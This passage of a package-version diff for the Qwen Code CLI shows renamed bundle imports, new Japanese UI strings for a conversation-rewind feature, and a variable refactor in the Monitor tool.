@qwen-code/qwen-code 0.15.12-preview.2 → 0.16.0-nightly.20260522.48b0a8bfc
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled/qc-helper/docs/configuration/settings.md +69 -71
- package/bundled/qc-helper/docs/features/_meta.ts +2 -0
- package/bundled/qc-helper/docs/features/approval-mode.md +119 -2
- package/bundled/qc-helper/docs/features/auto-mode.md +263 -0
- package/bundled/qc-helper/docs/features/commands.md +11 -10
- package/bundled/qc-helper/docs/features/lsp.md +87 -10
- package/bundled/qc-helper/docs/features/skills.md +3 -0
- package/bundled/qc-helper/docs/features/structured-output.md +309 -0
- package/bundled/qc-helper/docs/features/sub-agents.md +47 -5
- package/bundled/qc-helper/docs/qwen-serve.md +179 -24
- package/bundled/qc-helper/docs/reference/keyboard-shortcuts.md +11 -11
- package/bundled/review/SKILL.md +12 -3
- package/bundled/stuck/SKILL.md +124 -0
- package/chunks/{agent-UQY6A6OS.js → agent-GRCSD6XI.js} +15 -17
- package/chunks/{anthropicContentGenerator-4QE6LTVV.js → anthropicContentGenerator-RQJNXJIY.js} +7 -4
- package/chunks/{askUserQuestion-QFSCBTUO.js → askUserQuestion-PQPMPNM3.js} +2 -2
- package/chunks/{ca-VQSV6JHA.js → ca-UZ7BANMN.js} +29 -3
- package/chunks/{chunk-B7ZL7HUA.js → chunk-4AOCVI6J.js} +2 -1
- package/chunks/{chunk-PCL3EJGY.js → chunk-4U3O4VDA.js} +4722 -3823
- package/chunks/{chunk-AEJ2DKLP.js → chunk-C6WMLUNB.js} +1 -1
- package/chunks/{chunk-FSYKVGER.js → chunk-C7PY32RJ.js} +115 -23
- package/chunks/{chunk-JMZQICAL.js → chunk-CAVZVZX6.js} +2 -2
- package/chunks/{chunk-CAWKL3UC.js → chunk-CSWBPY3P.js} +2 -2
- package/chunks/{chunk-G27O2LD2.js → chunk-D5NTAHYL.js} +1 -1
- package/chunks/{chunk-BXNCPI75.js → chunk-DMIMF3CG.js} +2 -2
- package/chunks/{chunk-OCC4MZRS.js → chunk-F23NCRJ2.js} +1 -1
- package/chunks/{chunk-SOIEFHIK.js → chunk-G7YTSRES.js} +1 -100
- package/chunks/{chunk-SQNQIOD5.js → chunk-GGNTZ2NH.js} +92 -21
- package/chunks/{chunk-FKVKVE6N.js → chunk-KXZ4TJB4.js} +1 -1
- package/chunks/{chunk-CBVB66WY.js → chunk-L5E26RN6.js} +2 -2
- package/chunks/{chunk-UXW7MYAW.js → chunk-MAY32HXD.js} +376 -1
- package/chunks/{chunk-2WFU3IUH.js → chunk-OZO6R4KI.js} +11796 -4086
- package/chunks/{chunk-CM2IESUE.js → chunk-PR4T27R7.js} +1 -1
- package/chunks/{chunk-FYMSCRHM.js → chunk-PVVL5Q3W.js} +32 -1
- package/chunks/{chunk-MXBWOU2L.js → chunk-TM4RMEYN.js} +17 -349
- package/chunks/{chunk-YHEAJFCI.js → chunk-USE2VQ5P.js} +3 -0
- package/chunks/chunk-UY2AYRZF.js +19126 -0
- package/chunks/{chunk-GJXIKCKL.js → chunk-XP27SJMH.js} +76 -5
- package/chunks/chunk-XTYIPAUG.js +379 -0
- package/chunks/{chunk-TPGOGCWM.js → chunk-YJLGXDQJ.js} +1 -1
- package/chunks/{contextCommand-MQRG6RMG.js → contextCommand-O2OLCMOG.js} +17 -19
- package/chunks/{cron-create-WUTD5ZTH.js → cron-create-IGYXQVG4.js} +28 -2
- package/chunks/{cron-delete-N3UQYCRA.js → cron-delete-ETKIZCWT.js} +2 -2
- package/chunks/{cron-list-Z6RJJ4YH.js → cron-list-BVCUSWRU.js} +2 -2
- package/chunks/{de-M2IPQRBS.js → de-V4IE2OOZ.js} +29 -3
- package/chunks/{dist-RRYNPBOE.js → dist-4L54HRX2.js} +2 -2
- package/chunks/{dist-WP4AH3VK.js → dist-BXDUQ2QY.js} +1 -1
- package/chunks/{dist-M6GFCZ7S.js → dist-MN2PDDPR.js} +1 -1
- package/chunks/{edit-3KCBTA25.js → edit-NRL5ZYWP.js} +32 -18
- package/chunks/{en-N5GMPCVT.js → en-HGJ2SPLM.js} +32 -3
- package/chunks/{enter-worktree-VWS5QZTU.js → enter-worktree-TLT6EXVN.js} +41 -17
- package/chunks/{exit-worktree-RVXFWAPD.js → exit-worktree-PE7RZMLE.js} +41 -17
- package/chunks/{exitPlanMode-UL5DILDG.js → exitPlanMode-JYMKAHYD.js} +15 -17
- package/chunks/{fr-BTHRYEXO.js → fr-CJULI7ZX.js} +29 -3
- package/chunks/{geminiContentGenerator-O2OPGHJG.js → geminiContentGenerator-GYIOVT4A.js} +3 -3
- package/chunks/{glob-57BSREPN.js → glob-T7KIVIWT.js} +15 -17
- package/chunks/{grep-XO5JOC7T.js → grep-4KI7ZJR5.js} +15 -17
- package/chunks/{ja-D63TAEBO.js → ja-L7CHRQEW.js} +29 -3
- package/chunks/{keychain-token-storage-DMFP5IJM.js → keychain-token-storage-335UOLJ6.js} +2 -2
- package/chunks/{ls-SUILOZZB.js → ls-7HD6XG3V.js} +3 -3
- package/chunks/{lsp-6TQBWVMZ.js → lsp-ZZSFCIWD.js} +2 -2
- package/chunks/{monitor-BECPGO3K.js → monitor-L5YPPGVO.js} +45 -26
- package/chunks/notebook-edit-HYXLIC3D.js +756 -0
- package/chunks/{openaiContentGenerator-KEZQHIRM.js → openaiContentGenerator-XRP5JM6P.js} +12 -11
- package/chunks/{pt-XUV7FSKC.js → pt-M6JULLEQ.js} +29 -3
- package/chunks/{qwenContentGenerator-RPMRXTNH.js → qwenContentGenerator-EOX3HZXX.js} +17 -19
- package/chunks/{qwenOAuth2-JSQ7EPR3.js → qwenOAuth2-EEJGROP7.js} +9 -3
- package/chunks/{read-file-LGHEIQNH.js → read-file-3XOYPTIB.js} +7 -8
- package/chunks/{ripGrep-6SFSXZ2G.js → ripGrep-5QUURWGU.js} +15 -17
- package/chunks/{ru-7KHWMN3A.js → ru-QILM4HBC.js} +29 -3
- package/chunks/{send-message-Q2JRAC3J.js → send-message-ULK4MQXJ.js} +23 -2
- package/chunks/{serve-27O2AFE3.js → serve-AZ44ZNWF.js} +8864 -1351
- package/chunks/{shell-J7K5KYCH.js → shell-O6OTTSIP.js} +15 -17
- package/chunks/{skill-2R7P4ATS.js → skill-MUGS3H4M.js} +23 -10
- package/chunks/{src-CGEDVW67.js → src-YCQBAYCP.js} +292 -28
- package/chunks/{syntheticOutput-S4DRGMQM.js → syntheticOutput-IS2X5OZ2.js} +3 -3
- package/chunks/{task-stop-7THHVAQS.js → task-stop-7QSJGSSP.js} +2 -2
- package/chunks/{todoWrite-WKUGUTPX.js → todoWrite-7CVACFUX.js} +3 -3
- package/chunks/{tool-search-XOH3ZWVS.js → tool-search-UFDQJOXT.js} +7 -8
- package/chunks/{web-fetch-OZE6ZQUF.js → web-fetch-ENQ2I5JA.js} +7 -4
- package/chunks/{write-file-74NQ27Q2.js → write-file-GBLDDYQT.js} +29 -18
- package/chunks/{zh-VGHU6XBB.js → zh-PWL2NKY3.js} +32 -3
- package/chunks/{zh-TW-O36Q4V7E.js → zh-TW-S3YGWICZ.js} +32 -3
- package/cli.js +61338 -76795
- package/locales/ca.js +44 -5
- package/locales/de.js +44 -5
- package/locales/en.js +49 -5
- package/locales/fr.js +45 -5
- package/locales/ja.js +43 -5
- package/locales/pt.js +43 -5
- package/locales/ru.js +43 -5
- package/locales/zh-TW.js +46 -4
- package/locales/zh.js +46 -4
- package/package.json +2 -2
- package/chunks/chunk-5P5XGNYH.js +0 -93
- package/chunks/chunk-SYCJMSIJ.js +0 -82
- package/chunks/chunk-Y6Z2O3WR.js +0 -33
|
@@ -4,38 +4,36 @@ import {
|
|
|
4
4
|
globStream,
|
|
5
5
|
isCommandAvailable,
|
|
6
6
|
isGitRepository
|
|
7
|
-
} from "./chunk-
|
|
8
|
-
import "./chunk-5P5XGNYH.js";
|
|
7
|
+
} from "./chunk-OZO6R4KI.js";
|
|
9
8
|
import "./chunk-K5PGHDBN.js";
|
|
10
9
|
import "./chunk-O4PICXES.js";
|
|
11
10
|
import "./chunk-TW522KN6.js";
|
|
12
11
|
import "./chunk-MLZQVCF3.js";
|
|
13
|
-
import "./chunk-
|
|
14
|
-
import "./chunk-
|
|
15
|
-
import "./chunk-
|
|
12
|
+
import "./chunk-CAVZVZX6.js";
|
|
13
|
+
import "./chunk-G7YTSRES.js";
|
|
14
|
+
import "./chunk-4AOCVI6J.js";
|
|
16
15
|
import "./chunk-77WXWU44.js";
|
|
17
|
-
import "./chunk-
|
|
18
|
-
import "./chunk-
|
|
19
|
-
import "./chunk-
|
|
20
|
-
import "./chunk-SYCJMSIJ.js";
|
|
16
|
+
import "./chunk-F23NCRJ2.js";
|
|
17
|
+
import "./chunk-CSWBPY3P.js";
|
|
18
|
+
import "./chunk-4U3O4VDA.js";
|
|
21
19
|
import "./chunk-UWCTAVOD.js";
|
|
22
20
|
import "./chunk-OFEVLU4C.js";
|
|
23
21
|
import {
|
|
24
22
|
getMemoryBaseDir
|
|
25
|
-
} from "./chunk-
|
|
26
|
-
import "./chunk-
|
|
27
|
-
import "./chunk-
|
|
23
|
+
} from "./chunk-PR4T27R7.js";
|
|
24
|
+
import "./chunk-MAY32HXD.js";
|
|
25
|
+
import "./chunk-D5NTAHYL.js";
|
|
28
26
|
import "./chunk-T4VD6OJ4.js";
|
|
29
27
|
import "./chunk-RDYWTWEM.js";
|
|
30
|
-
import "./chunk-
|
|
28
|
+
import "./chunk-YJLGXDQJ.js";
|
|
31
29
|
import {
|
|
32
30
|
BaseDeclarativeTool,
|
|
33
31
|
BaseToolInvocation,
|
|
34
32
|
ToolDisplayNames,
|
|
35
33
|
ToolNames
|
|
36
|
-
} from "./chunk-
|
|
37
|
-
import "./chunk-
|
|
38
|
-
import "./chunk-
|
|
34
|
+
} from "./chunk-PVVL5Q3W.js";
|
|
35
|
+
import "./chunk-GGNTZ2NH.js";
|
|
36
|
+
import "./chunk-KXZ4TJB4.js";
|
|
39
37
|
import {
|
|
40
38
|
createDebugLogger,
|
|
41
39
|
getErrorMessage,
|
|
@@ -43,7 +41,7 @@ import {
|
|
|
43
41
|
isSubpath,
|
|
44
42
|
resolveAndValidatePath,
|
|
45
43
|
unescapePath
|
|
46
|
-
} from "./chunk-
|
|
44
|
+
} from "./chunk-XP27SJMH.js";
|
|
47
45
|
import "./chunk-E7E2MFYM.js";
|
|
48
46
|
import "./chunk-ZERZSAZL.js";
|
|
49
47
|
import "./chunk-QN5NZ3UQ.js";
|
|
@@ -73,6 +73,32 @@ var ja_default = {
|
|
|
73
73
|
"Generate a one-line session recap now": "\u3053\u306E\u30BB\u30C3\u30B7\u30E7\u30F3\u306E1\u884C\u8981\u7D04\u3092\u4ECA\u3059\u3050\u751F\u6210\u3059\u308B",
|
|
74
74
|
"Rename the current conversation. --auto lets the fast model pick a title.": "\u73FE\u5728\u306E\u4F1A\u8A71\u306E\u540D\u524D\u3092\u5909\u66F4\u3059\u308B\u3002--auto \u3092\u4F7F\u3046\u3068\u9AD8\u901F\u30E2\u30C7\u30EB\u304C\u30BF\u30A4\u30C8\u30EB\u3092\u6C7A\u3081\u307E\u3059\u3002",
|
|
75
75
|
"Rewind conversation to a previous turn": "\u4F1A\u8A71\u3092\u524D\u306E\u30BF\u30FC\u30F3\u307E\u3067\u5DFB\u304D\u623B\u3059",
|
|
76
|
+
"Rewind Conversation": "\u4F1A\u8A71\u3092\u5DFB\u304D\u623B\u3059",
|
|
77
|
+
"No user turns to rewind to.": "\u5DFB\u304D\u623B\u305B\u308B\u30E6\u30FC\u30B6\u30FC\u30BF\u30FC\u30F3\u304C\u3042\u308A\u307E\u305B\u3093\u3002",
|
|
78
|
+
"Rewind to: ": "\u5DFB\u304D\u623B\u3057\u5148\uFF1A",
|
|
79
|
+
"Restore code and conversation": "\u30B3\u30FC\u30C9\u3068\u4F1A\u8A71\u3092\u5FA9\u5143",
|
|
80
|
+
"Restore conversation only": "\u4F1A\u8A71\u306E\u307F\u5FA9\u5143",
|
|
81
|
+
"Restore code only": "\u30B3\u30FC\u30C9\u306E\u307F\u5FA9\u5143",
|
|
82
|
+
"Never mind": "\u3084\u3081\u308B",
|
|
83
|
+
"Computing file changes...": "\u30D5\u30A1\u30A4\u30EB\u306E\u5909\u66F4\u3092\u8A08\u7B97\u4E2D...",
|
|
84
|
+
"Restoring...": "\u5FA9\u5143\u4E2D...",
|
|
85
|
+
"Restored {{count}} file(s).": "{{count}} \u500B\u306E\u30D5\u30A1\u30A4\u30EB\u3092\u5FA9\u5143\u3057\u307E\u3057\u305F\u3002",
|
|
86
|
+
"Failed to restore files: {{error}}": "\u30D5\u30A1\u30A4\u30EB\u306E\u5FA9\u5143\u306B\u5931\u6557\u3057\u307E\u3057\u305F\uFF1A{{error}}",
|
|
87
|
+
"Rewind failed: {{error}}": "\u5DFB\u304D\u623B\u3057\u306B\u5931\u6557\u3057\u307E\u3057\u305F\uFF1A{{error}}",
|
|
88
|
+
"Cannot rewind conversation: no active model client.": "\u4F1A\u8A71\u3092\u5DFB\u304D\u623B\u305B\u307E\u305B\u3093\uFF1A\u30A2\u30AF\u30C6\u30A3\u30D6\u306A\u30E2\u30C7\u30EB\u30AF\u30E9\u30A4\u30A2\u30F3\u30C8\u304C\u3042\u308A\u307E\u305B\u3093\u3002",
|
|
89
|
+
"Code restored, but conversation could not be rewound (no active client).": "\u30B3\u30FC\u30C9\u306F\u5FA9\u5143\u3055\u308C\u307E\u3057\u305F\u304C\u3001\u4F1A\u8A71\u306F\u5DFB\u304D\u623B\u305B\u307E\u305B\u3093\u3067\u3057\u305F\uFF08\u30E2\u30C7\u30EB\u30AF\u30E9\u30A4\u30A2\u30F3\u30C8\u304C\u30A2\u30AF\u30C6\u30A3\u30D6\u3067\u306F\u3042\u308A\u307E\u305B\u3093\uFF09\u3002",
|
|
90
|
+
"Conversation rewound. Edit your prompt and press Enter to continue.": "\u4F1A\u8A71\u3092\u5DFB\u304D\u623B\u3057\u307E\u3057\u305F\u3002\u30D7\u30ED\u30F3\u30D7\u30C8\u3092\u7DE8\u96C6\u3057\u3066 Enter \u30AD\u30FC\u3067\u7D9A\u884C\u3057\u3066\u304F\u3060\u3055\u3044\u3002",
|
|
91
|
+
"Rewinding does not affect files edited manually or via shell commands.": "\u5DFB\u304D\u623B\u3057\u306F\u3001\u624B\u52D5\u3067\u7DE8\u96C6\u3055\u308C\u305F\u30D5\u30A1\u30A4\u30EB\u3084 shell \u30B3\u30DE\u30F3\u30C9\u3067\u5909\u66F4\u3055\u308C\u305F\u30D5\u30A1\u30A4\u30EB\u306B\u306F\u5F71\u97FF\u3057\u307E\u305B\u3093\u3002",
|
|
92
|
+
"Cannot rewind to a turn that was compressed. Try a more recent turn.": "\u5727\u7E2E\u3055\u308C\u305F\u30BF\u30FC\u30F3\u3078\u306F\u5DFB\u304D\u623B\u305B\u307E\u305B\u3093\u3002\u3088\u308A\u6700\u8FD1\u306E\u30BF\u30FC\u30F3\u3092\u304A\u8A66\u3057\u304F\u3060\u3055\u3044\u3002",
|
|
93
|
+
"File restore is unavailable for this turn (no captured file changes, or this turn predates the current session).": "\u3053\u306E\u30BF\u30FC\u30F3\u3067\u306F\u30D5\u30A1\u30A4\u30EB\u5FA9\u5143\u3067\u304D\u307E\u305B\u3093\uFF08\u6355\u6349\u3055\u308C\u305F\u30D5\u30A1\u30A4\u30EB\u5909\u66F4\u304C\u306A\u3044\u304B\u3001\u73FE\u5728\u306E\u30BB\u30C3\u30B7\u30E7\u30F3\u3088\u308A\u524D\u306E\u30BF\u30FC\u30F3\u3067\u3059\uFF09\u3002",
|
|
94
|
+
"(+{{insertions}} -{{deletions}} in {{count}} file)": "(+{{insertions}} -{{deletions}}\u3001{{count}} \u500B\u306E\u30D5\u30A1\u30A4\u30EB)",
|
|
95
|
+
"(+{{insertions}} -{{deletions}} in {{count}} files)": "(+{{insertions}} -{{deletions}}\u3001{{count}} \u500B\u306E\u30D5\u30A1\u30A4\u30EB)",
|
|
96
|
+
"Failed to restore {{count}} file(s): {{files}}": "{{count}} \u500B\u306E\u30D5\u30A1\u30A4\u30EB\u306E\u5FA9\u5143\u306B\u5931\u6557\u3057\u307E\u3057\u305F\uFF1A{{files}}",
|
|
97
|
+
"Cannot restore files: this turn was created before file checkpointing was enabled.": "\u30D5\u30A1\u30A4\u30EB\u3092\u5FA9\u5143\u3067\u304D\u307E\u305B\u3093\uFF1A\u3053\u306E\u30BF\u30FC\u30F3\u306F\u30D5\u30A1\u30A4\u30EB\u30C1\u30A7\u30C3\u30AF\u30DD\u30A4\u30F3\u30C8\u304C\u6709\u52B9\u306B\u306A\u308B\u524D\u306B\u4F5C\u6210\u3055\u308C\u307E\u3057\u305F\u3002",
|
|
98
|
+
"No files needed to be restored.": "\u5FA9\u5143\u304C\u5FC5\u8981\u306A\u30D5\u30A1\u30A4\u30EB\u306F\u3042\u308A\u307E\u305B\u3093\u3002",
|
|
99
|
+
"\u2191\u2193 to navigate \xB7 Enter to select \xB7 Esc to go back": "\u2191\u2193 \u79FB\u52D5 \xB7 Enter \u9078\u629E \xB7 Esc \u623B\u308B",
|
|
100
|
+
"\u2191\u2193 to navigate \xB7 Enter to select \xB7 Esc to cancel": "\u2191\u2193 \u79FB\u52D5 \xB7 Enter \u9078\u629E \xB7 Esc \u30AD\u30E3\u30F3\u30BB\u30EB",
|
|
101
|
+
"Enter/Y to confirm \xB7 Esc/N to go back": "Enter/Y \u78BA\u8A8D \xB7 Esc/N \u623B\u308B",
|
|
76
102
|
"change the theme": "\u30C6\u30FC\u30DE\u3092\u5909\u66F4",
|
|
77
103
|
"Select Theme": "\u30C6\u30FC\u30DE\u3092\u9078\u629E",
|
|
78
104
|
Preview: "\u30D7\u30EC\u30D3\u30E5\u30FC",
|
|
@@ -84,7 +110,7 @@ var ja_default = {
|
|
|
84
110
|
"Compresses the context by replacing it with a summary.": "\u30B3\u30F3\u30C6\u30AD\u30B9\u30C8\u3092\u8981\u7D04\u306B\u7F6E\u304D\u63DB\u3048\u3066\u5727\u7E2E",
|
|
85
111
|
"open full Qwen Code documentation in your browser": "\u30D6\u30E9\u30A6\u30B6\u3067 Qwen Code \u306E\u30C9\u30AD\u30E5\u30E1\u30F3\u30C8\u3092\u958B\u304F",
|
|
86
112
|
"Configuration not available.": "\u8A2D\u5B9A\u304C\u5229\u7528\u3067\u304D\u307E\u305B\u3093",
|
|
87
|
-
"
|
|
113
|
+
"Connect an LLM provider": "LLM \u30D7\u30ED\u30D0\u30A4\u30C0\u30FC\u306B\u63A5\u7D9A",
|
|
88
114
|
"Copy the last result or code snippet to clipboard": "\u6700\u5F8C\u306E\u7D50\u679C\u307E\u305F\u306F\u30B3\u30FC\u30C9\u30B9\u30CB\u30DA\u30C3\u30C8\u3092\u30AF\u30EA\u30C3\u30D7\u30DC\u30FC\u30C9\u306B\u30B3\u30D4\u30FC",
|
|
89
115
|
// ============================================================================
|
|
90
116
|
// Commands - Agents
|
|
@@ -601,8 +627,8 @@ var ja_default = {
|
|
|
601
627
|
"Continue previous conversation": "\u524D\u56DE\u306E\u4F1A\u8A71\u3092\u7D9A\u884C",
|
|
602
628
|
"\u{1F44B} Welcome back! (Last updated: {{timeAgo}})": "\u{1F44B} \u304A\u304B\u3048\u308A\u306A\u3055\u3044!(\u6700\u7D42\u66F4\u65B0: {{timeAgo}})",
|
|
603
629
|
"\u{1F3AF} Overall Goal:": "\u{1F3AF} \u5168\u4F53\u76EE\u6A19:",
|
|
604
|
-
"
|
|
605
|
-
"You must
|
|
630
|
+
"Connect a Provider": "\u30D7\u30ED\u30D0\u30A4\u30C0\u30FC\u306B\u63A5\u7D9A",
|
|
631
|
+
"You must connect a provider to proceed. Press Ctrl+C again to exit.": "\u7D9A\u884C\u3059\u308B\u306B\u306F\u30D7\u30ED\u30D0\u30A4\u30C0\u30FC\u306B\u63A5\u7D9A\u3057\u3066\u304F\u3060\u3055\u3044\u3002Ctrl+C \u3092\u3082\u3046\u4E00\u5EA6\u62BC\u3059\u3068\u7D42\u4E86\u3057\u307E\u3059",
|
|
606
632
|
"Terms of Services and Privacy Notice": "\u5229\u7528\u898F\u7D04\u3068\u30D7\u30E9\u30A4\u30D0\u30B7\u30FC\u901A\u77E5",
|
|
607
633
|
"Qwen OAuth": "Qwen OAuth",
|
|
608
634
|
"Discontinued \u2014 switch to Coding Plan or API Key": "\u7D42\u4E86 \u2014 Coding Plan \u307E\u305F\u306F API Key \u306B\u5207\u308A\u66FF\u3048\u3066\u304F\u3060\u3055\u3044",
|
|
@@ -2,8 +2,8 @@
|
|
|
2
2
|
"use strict";
|
|
3
3
|
import {
|
|
4
4
|
KeychainTokenStorage
|
|
5
|
-
} from "./chunk-
|
|
6
|
-
import "./chunk-
|
|
5
|
+
} from "./chunk-F23NCRJ2.js";
|
|
6
|
+
import "./chunk-XP27SJMH.js";
|
|
7
7
|
import "./chunk-QWSRH265.js";
|
|
8
8
|
import "./chunk-A4BMJM77.js";
|
|
9
9
|
import "./chunk-J2S4EL5Y.js";
|
|
@@ -5,13 +5,13 @@ import {
|
|
|
5
5
|
} from "./chunk-77WXWU44.js";
|
|
6
6
|
import {
|
|
7
7
|
getMemoryBaseDir
|
|
8
|
-
} from "./chunk-
|
|
8
|
+
} from "./chunk-PR4T27R7.js";
|
|
9
9
|
import {
|
|
10
10
|
BaseDeclarativeTool,
|
|
11
11
|
BaseToolInvocation,
|
|
12
12
|
ToolDisplayNames,
|
|
13
13
|
ToolNames
|
|
14
|
-
} from "./chunk-
|
|
14
|
+
} from "./chunk-PVVL5Q3W.js";
|
|
15
15
|
import {
|
|
16
16
|
Storage,
|
|
17
17
|
createDebugLogger,
|
|
@@ -20,7 +20,7 @@ import {
|
|
|
20
20
|
makeRelative,
|
|
21
21
|
shortenPath,
|
|
22
22
|
unescapePath
|
|
23
|
-
} from "./chunk-
|
|
23
|
+
} from "./chunk-XP27SJMH.js";
|
|
24
24
|
import "./chunk-QWSRH265.js";
|
|
25
25
|
import {
|
|
26
26
|
init_esbuild_shims
|
|
@@ -5,10 +5,10 @@ import {
|
|
|
5
5
|
BaseToolInvocation,
|
|
6
6
|
ToolDisplayNames,
|
|
7
7
|
ToolNames
|
|
8
|
-
} from "./chunk-
|
|
8
|
+
} from "./chunk-PVVL5Q3W.js";
|
|
9
9
|
import {
|
|
10
10
|
unescapePath
|
|
11
|
-
} from "./chunk-
|
|
11
|
+
} from "./chunk-XP27SJMH.js";
|
|
12
12
|
import "./chunk-QWSRH265.js";
|
|
13
13
|
import {
|
|
14
14
|
init_esbuild_shims
|
|
@@ -6,47 +6,46 @@ import {
|
|
|
6
6
|
extractCommandRules,
|
|
7
7
|
getCommandRoot,
|
|
8
8
|
getCurrentAgentId,
|
|
9
|
+
getMonitorOutputPath,
|
|
9
10
|
getShellConfiguration,
|
|
10
11
|
hasUnsafeMonitorBackgroundOperator,
|
|
11
12
|
isShellCommandReadOnlyAST,
|
|
12
13
|
normalizeMonitorCommand,
|
|
13
14
|
splitCommands,
|
|
14
15
|
stripAnsi
|
|
15
|
-
} from "./chunk-
|
|
16
|
-
import "./chunk-5P5XGNYH.js";
|
|
16
|
+
} from "./chunk-OZO6R4KI.js";
|
|
17
17
|
import "./chunk-K5PGHDBN.js";
|
|
18
18
|
import "./chunk-O4PICXES.js";
|
|
19
19
|
import "./chunk-TW522KN6.js";
|
|
20
20
|
import "./chunk-MLZQVCF3.js";
|
|
21
|
-
import "./chunk-
|
|
22
|
-
import "./chunk-
|
|
23
|
-
import "./chunk-
|
|
21
|
+
import "./chunk-CAVZVZX6.js";
|
|
22
|
+
import "./chunk-G7YTSRES.js";
|
|
23
|
+
import "./chunk-4AOCVI6J.js";
|
|
24
24
|
import "./chunk-77WXWU44.js";
|
|
25
|
-
import "./chunk-
|
|
26
|
-
import "./chunk-
|
|
27
|
-
import "./chunk-
|
|
28
|
-
import "./chunk-SYCJMSIJ.js";
|
|
25
|
+
import "./chunk-F23NCRJ2.js";
|
|
26
|
+
import "./chunk-CSWBPY3P.js";
|
|
27
|
+
import "./chunk-4U3O4VDA.js";
|
|
29
28
|
import "./chunk-UWCTAVOD.js";
|
|
30
29
|
import "./chunk-OFEVLU4C.js";
|
|
31
|
-
import "./chunk-
|
|
32
|
-
import "./chunk-
|
|
33
|
-
import "./chunk-
|
|
30
|
+
import "./chunk-PR4T27R7.js";
|
|
31
|
+
import "./chunk-MAY32HXD.js";
|
|
32
|
+
import "./chunk-D5NTAHYL.js";
|
|
34
33
|
import "./chunk-T4VD6OJ4.js";
|
|
35
34
|
import "./chunk-RDYWTWEM.js";
|
|
36
|
-
import "./chunk-
|
|
35
|
+
import "./chunk-YJLGXDQJ.js";
|
|
37
36
|
import {
|
|
38
37
|
BaseDeclarativeTool,
|
|
39
38
|
BaseToolInvocation,
|
|
40
39
|
ToolDisplayNames,
|
|
41
40
|
ToolNames
|
|
42
|
-
} from "./chunk-
|
|
43
|
-
import "./chunk-
|
|
44
|
-
import "./chunk-
|
|
41
|
+
} from "./chunk-PVVL5Q3W.js";
|
|
42
|
+
import "./chunk-GGNTZ2NH.js";
|
|
43
|
+
import "./chunk-KXZ4TJB4.js";
|
|
45
44
|
import {
|
|
46
45
|
createDebugLogger,
|
|
47
46
|
getErrorMessage,
|
|
48
47
|
isSubpaths
|
|
49
|
-
} from "./chunk-
|
|
48
|
+
} from "./chunk-XP27SJMH.js";
|
|
50
49
|
import "./chunk-E7E2MFYM.js";
|
|
51
50
|
import "./chunk-ZERZSAZL.js";
|
|
52
51
|
import "./chunk-QN5NZ3UQ.js";
|
|
@@ -226,7 +225,7 @@ var MonitorToolInvocation = class extends BaseToolInvocation {
|
|
|
226
225
|
};
|
|
227
226
|
}
|
|
228
227
|
const entryAc = new AbortController();
|
|
229
|
-
const
|
|
228
|
+
const registration = {
|
|
230
229
|
monitorId,
|
|
231
230
|
command,
|
|
232
231
|
description,
|
|
@@ -239,6 +238,14 @@ var MonitorToolInvocation = class extends BaseToolInvocation {
|
|
|
239
238
|
maxEvents,
|
|
240
239
|
idleTimeoutMs,
|
|
241
240
|
droppedLines: 0,
|
|
241
|
+
// Reserved path for a future per-monitor writer; no file is created
|
|
242
|
+
// today (events stream into the parent's chat record via the
|
|
243
|
+
// notification callback).
|
|
244
|
+
outputFile: getMonitorOutputPath(
|
|
245
|
+
this.config.storage.getProjectDir(),
|
|
246
|
+
this.config.getSessionId(),
|
|
247
|
+
monitorId
|
|
248
|
+
),
|
|
242
249
|
...ownerAgentId ? { ownerAgentId } : {}
|
|
243
250
|
};
|
|
244
251
|
const { executable, argsPrefix } = getShellConfiguration();
|
|
@@ -262,7 +269,7 @@ var MonitorToolInvocation = class extends BaseToolInvocation {
|
|
|
262
269
|
returnDisplay: `Monitor failed: ${getErrorMessage(err)}`
|
|
263
270
|
};
|
|
264
271
|
}
|
|
265
|
-
|
|
272
|
+
registration.pid = child.pid;
|
|
266
273
|
let exited = false;
|
|
267
274
|
let earlySpawnError;
|
|
268
275
|
const captureEarlySpawnError = /* @__PURE__ */ __name((err) => {
|
|
@@ -294,7 +301,7 @@ var MonitorToolInvocation = class extends BaseToolInvocation {
|
|
|
294
301
|
tokenBucket--;
|
|
295
302
|
registry.emitEvent(monitorId, sanitized);
|
|
296
303
|
} else {
|
|
297
|
-
|
|
304
|
+
registration.droppedLines++;
|
|
298
305
|
}
|
|
299
306
|
}, "throttledEmit");
|
|
300
307
|
const flushPartialLineBuffers = /* @__PURE__ */ __name(() => {
|
|
@@ -350,7 +357,7 @@ var MonitorToolInvocation = class extends BaseToolInvocation {
|
|
|
350
357
|
abortHandler();
|
|
351
358
|
}
|
|
352
359
|
try {
|
|
353
|
-
registry.register(
|
|
360
|
+
registry.register(registration);
|
|
354
361
|
} catch (err) {
|
|
355
362
|
abortHandler();
|
|
356
363
|
entryAc.signal.removeEventListener("abort", abortHandler);
|
|
@@ -365,7 +372,7 @@ var MonitorToolInvocation = class extends BaseToolInvocation {
|
|
|
365
372
|
};
|
|
366
373
|
}
|
|
367
374
|
const processLines = /* @__PURE__ */ __name((buffer, data) => {
|
|
368
|
-
if (
|
|
375
|
+
if (registration.status !== "running") return;
|
|
369
376
|
const text = stripAnsi(data.toString("utf-8"));
|
|
370
377
|
buffer.value += text;
|
|
371
378
|
if (!buffer.value.includes("\n") && buffer.value.length > PARTIAL_LINE_BUFFER_CAP) {
|
|
@@ -393,15 +400,15 @@ var MonitorToolInvocation = class extends BaseToolInvocation {
|
|
|
393
400
|
cleanedUp = true;
|
|
394
401
|
flushPartialLineBuffers();
|
|
395
402
|
entryAc.signal.removeEventListener("abort", abortHandler);
|
|
396
|
-
if (
|
|
403
|
+
if (registration.droppedLines > 0) {
|
|
397
404
|
debugLogger.info(
|
|
398
|
-
`Monitor ${monitorId} dropped ${
|
|
405
|
+
`Monitor ${monitorId} dropped ${registration.droppedLines} lines due to throttling`
|
|
399
406
|
);
|
|
400
407
|
}
|
|
401
408
|
}, "cleanup");
|
|
402
409
|
let exitResult = null;
|
|
403
410
|
const settleFromExit = /* @__PURE__ */ __name((code, sig) => {
|
|
404
|
-
if (
|
|
411
|
+
if (registration.status !== "running") return;
|
|
405
412
|
if (entryAc.signal.aborted) {
|
|
406
413
|
registry.cancel(monitorId);
|
|
407
414
|
} else if (code !== null && code !== 0) {
|
|
@@ -425,7 +432,7 @@ var MonitorToolInvocation = class extends BaseToolInvocation {
|
|
|
425
432
|
const onError = /* @__PURE__ */ __name((err) => {
|
|
426
433
|
exited = true;
|
|
427
434
|
cleanup();
|
|
428
|
-
if (
|
|
435
|
+
if (registration.status === "running") {
|
|
429
